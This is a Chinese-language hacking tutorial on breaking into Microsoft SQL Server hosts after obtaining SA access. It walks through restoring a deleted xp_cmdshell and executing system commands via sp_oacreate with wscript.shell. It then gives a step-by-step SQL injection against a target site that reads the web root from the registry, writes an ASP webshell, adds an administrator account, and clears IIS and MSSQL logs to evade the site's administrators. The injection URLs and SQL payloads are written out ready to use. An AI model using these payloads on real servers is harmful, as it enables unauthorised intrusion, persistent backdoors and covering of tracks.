有時候在入侵的時候總是碰到先煩惱的問題,比如SA遇到xp_cmdshell時,如果管理員把xp_cmdshell刪了
怎麼辦呢?總是眼看着肉雞跑了吧!今天我就對XP_CMDSHELL做一先解釋,希望大家能看明白,能看懂
衆所周知,在MSSQL中,通過XP_cmdshell存儲擴展,擁護具有sysadmin權限,用來執行系統任意命令
但是那先網管也不是吃素的,都回把它刪除,所以在SQL Injection攻擊中,獲得xp_cmdshell的執行權限
纔是最終的目標,在MSSQL中一共有8中權限分別是 sysadmin dbcreator diskadmin processadmin
serveradmin setupadmin securityadmin bulkadmin 這8種 每一個都具有不同的權限,大家都因該可
以知道其中的sysadmin權限是最高的,也是我們想要的。。。
大家都知道在MSSQL中,SA的權限是至高無上的了,但是有時獲得了個SA 卻無法執行命令是,是不是很鬱
悶了呢?獲得了個SA一般我們都用SQLTOOLS.EXE連接吧!一個比較好的工具,我也喜歡,呵呵!首先還是
讓我們看看吧!用SQLTOOLS.EXE連上後看看它的XP_cmdshell存儲擴展是不是被刪了,在"利用目錄"菜單
中打開"執行數據庫命令" 填入我們要執行的命令:
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
如果返回結果是1的話,說明它沒有刪除這個擴展存儲過程,我們可以執行DOS命令了,如果不行呢?
接着看,還有辦法,我們直接在數據庫命令執行窗寫入:
Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from
master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
上面的意思就是恢復默認的存儲過程,如果返回1的話說明恢復成功,不然就是存儲擴展被刪除了,需要我
們給它上傳個xplog70.dll用SQLTOOLS.EXE自帶的文件上傳功能可以輕鬆實現了,把xplog70.dll文件傳到
對方的c:/winnt/system32下,(不行的話,需傳到對方的MSSQL目錄裏)在執行數據庫命令:
Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:/winnt/system32/xplog70.dll'
好了,接下來就是我們常用的命令 net user 和 net localgroup administrators
命令了,還有清楚IIS日記和MSSQL日記就OK了!
上面的方法是可以了但我們還可以饒過xp_cmdshell ,來執行系統命令,大家知道在MSSQL中可以通過兩個
存儲擴展來創建activex自動腳本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通過它們執行系
統命令的語句我們可以自己給他加上哦,代碼如下:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'
上面那段代碼的意思就是通過服務器上的 wscript.shel 來執行net start telnet 開啓服務器的telnet
接下來呢就是通過FSO對服務器進行文件管理或者直接創建文件並寫入數據,呵呵,可以直接寫一個WEBSHE
LL到服務器上去哦!!!HOHO~~~~
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'creatextifile', @f out, 'c:/inetpub/wwwroot/mad.asp', 1
exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o =
server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>
上面的代碼就在服務器c:/inetpub/wwwroot/mad.asp上創建了了只有兩行的代碼我們直接連上去就OK了
大家不防試試吧。下面我還是對大家入侵時做一先解釋吧,希望大家能看明白,
舉個例子現在咱們要入侵的網站是這個 www.***.com
第一還是踩點,找到入口,現在注入這麼流行,還是注入吧,因爲一般網站都是ASP+MSSQL結構來架設的假
如這個。www.***.com/script.asp?id=48
還是一樣用, ; and 1=1 and 1=2判斷一下,確定可以注入後,我們就可以利用這個漏洞拿到服務器和
數據庫的一些相關信息。想看服務器打的補丁情況,我們提交:
www.***.com/script.asp?id=48 and 1=(select @@VERSION)
我想現在大部分服務器都打上SP4補丁了。我們看看其它的,看看他的數據庫連接賬號的權限,提交:
www.***.com/script.asp?id=48 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
如果返回正常,這證明當前連接的賬號是服務器角色sysadmin權限了,看來連接賬號多半是採用SA賬號連
接的了,自己有好做的了,還是試一下。萬一猜錯了呢?提交:
www.***.com/script.asp?id=48 and 'sa'=(SELECT System_user)
用來查看連接賬號是不是用sa 連接的,如果IE返回正常。這證明了連接賬號真的是SA,看來權限是高了哦
(如果要獲得已登錄用戶的身份,則使用Transact-SQL 語句:SELECT SYSTEM_USER)
下面我們就利用MSSQL存儲過程,得到WebShell,首先還是看看xp_cmdshell是否被管理員刪除了 提交:
www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =
'X' AND name = 'xp_cmdshell')
如果被刪除了,NO PROBLEM 我們給他恢復一下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
試一下 看看xp_cmdshell是不是恢復過來了 提交:
www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =
'X' AND name = 'xp_cmdshell')
如果沒有返回內容。這證明,管理員把xplog70.dll這個動態鏈接庫給改名了。要不給刪除了。現在大家可
以用上面的方法試試了,到這裏有耐心的話還可以繼續啊。可以用CZY提到的方法試試。
不過還用到兩個MSSQL存儲過程
xp_regread 擴展存儲過程和xp_regread Web 助手存儲過程:
xp_regread是用來讀取註冊表信息的,我們通過這個存儲過程來得到保存在註冊表中Web絕對路徑
sp_makewebtask在我們這裏是用來得到WebShell的,其主要功能就是導出數據庫中表的記錄爲文件,文件
名你可以自己指定。當然我們這裏就指定爲ASP腳本文件
CZY的文章已經寫得很詳細了。所以,我這裏就只簡單的提一下吧! 先創建一個表,建一字段,然後向這個
字段中加入木馬的內容。然後,把內容通過xp_makewebtask存儲過程導出成ASP腳本保存在Web絕對路徑中
再次刪除建的臨時表 不知道的可要到網上找找哦!
不過還是先看看這兩個存儲過程是不是被刪了。。提交:
www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
'xp_regread')
www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=
'sp_makewebtask')
如果兩個都返回正常的話,說明兩個存儲過程都沒有刪除 :
(大家都知道MS的東西很多都放在註冊表中的,Web位置我們可以在註冊表中得到,位置如下:
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用擴展存儲過程xp_regread我們可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
這樣,就取出來了,但問題又來了,取是取出來了,我們怎麼在IE中返回它的值呢?首先:先創建
一個臨時表,表中加一字段,類型爲:char 255。呵呵,用它來保存Web絕對路徑的值。表建好後,我們就
用讀取註冊表的方法,把返回的值保存在一變量中。然後向新建的表中加入記錄(即變量的值)。這樣,
路徑就寫入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert
into 臨時表 (臨時字段名) values(@result);--
然後,我們再提交: 1=(select count(*) from 臨時表 where 臨時字段名>1) )
我們用CZY的方法繼續提交:
www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));
這樣我們就成功地建了一個名爲ABCD的表,並且添加了類型是char,長度爲255的字段名DACB。然後向表中
加數據:
www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/',
@result output insert into cyfd (DACB) values(@result);--
繼續提交從註冊表中讀出Web絕對路徑,再把路徑插入到剛建的表中。然後報出WebShell的絕對路徑
www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)
IE返回錯誤,我們得到Web絕對路徑 例如:e:/Inetpub/wwwroot
還要刪除剛纔建的表 提交:
www.***.com/script.asp?id=48;drop table cyfd;--
接下來就好辦多了,路徑都知道了。得到WEBSHELL因該沒問題了吧,得到WEBSHELL後,通過WEBSHELL上傳
xplog70.dll傳到E:/inetpub/wwwroot目錄下 我們給他恢復下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell',
'e:/inetpub/wwwroot/xplog70.dll'
(恢復,支持絕對路徑的恢復!)
用IE來查看一下是不是已經恢復了。提交:
www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =
'X' AND name = 'xp_cmdshell')
如IE返回正常。說明已經恢復了!下面就建用戶吧。。。。
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'
提升管理員
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd
/add'
好了到了這裏就OK了。。如果對方有終端的話,就連接吧。,還有清除IIS日誌,和MSSQL日誌 閃人!~
還有一點就是把xp_cmdshell也給他刪除掉,不要讓網管發現了。HOHO~~~~
完..............(寫了這麼多可能有先看不明白..SORRY!!)
當SA遇到XP_CMDSHELL時
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章
Hydra工具的使用
【鏈接】 How to crack a password-protected website Linux下暴力破解工具hydra PWGen Linux下三個密碼生成工具
程昆汀
2020-07-01 04:33:17
擴展儲存過程被刪除以後可以有很簡單的辦法恢復
dcboy
2020-06-26 03:23:18
綠色開啓終端的簡單方法
dcboy
2020-06-26 03:23:18
奇怪,Linux 3.11.2-1-ARCH x86_64 居然還是可執行堆棧?
爱与奇迹的物语
2020-06-24 15:14:47
關於開發系統後門軟件的幾點思路
ZLMSDN
2020-06-20 00:00:56
whitespace language, 全部由空白字符組成的編程語言
xuzhezhaozhao
2020-06-12 22:29:26
想練習黑客技術的,這16個網站也許可以幫到你
代码讲故事
2020-05-20 19:18:43
[Hackthebox]獲取社區邀請碼
Takio_
2020-02-24 23:00:31
用python寫的一個使用關鍵字定向生成密碼字典的腳本
G1SLu
2020-02-24 05:01:35
ASP中各種數據庫連接代碼
dcboy
2020-02-23 15:07:32
藍屏的原創添加超級用戶的.asp代碼
dcboy
2020-02-23 15:07:32
DISCUZ漏洞與提升權限
dcboy
2020-02-23 15:07:32
突破TCP/IP篩選到3389終端登陸
dcboy
2020-02-23 15:07:32
SiteEngine的漏洞
hit15105
2020-02-23 14:58:43
wed於wis的應用
hit15105
2020-02-23 14:58:43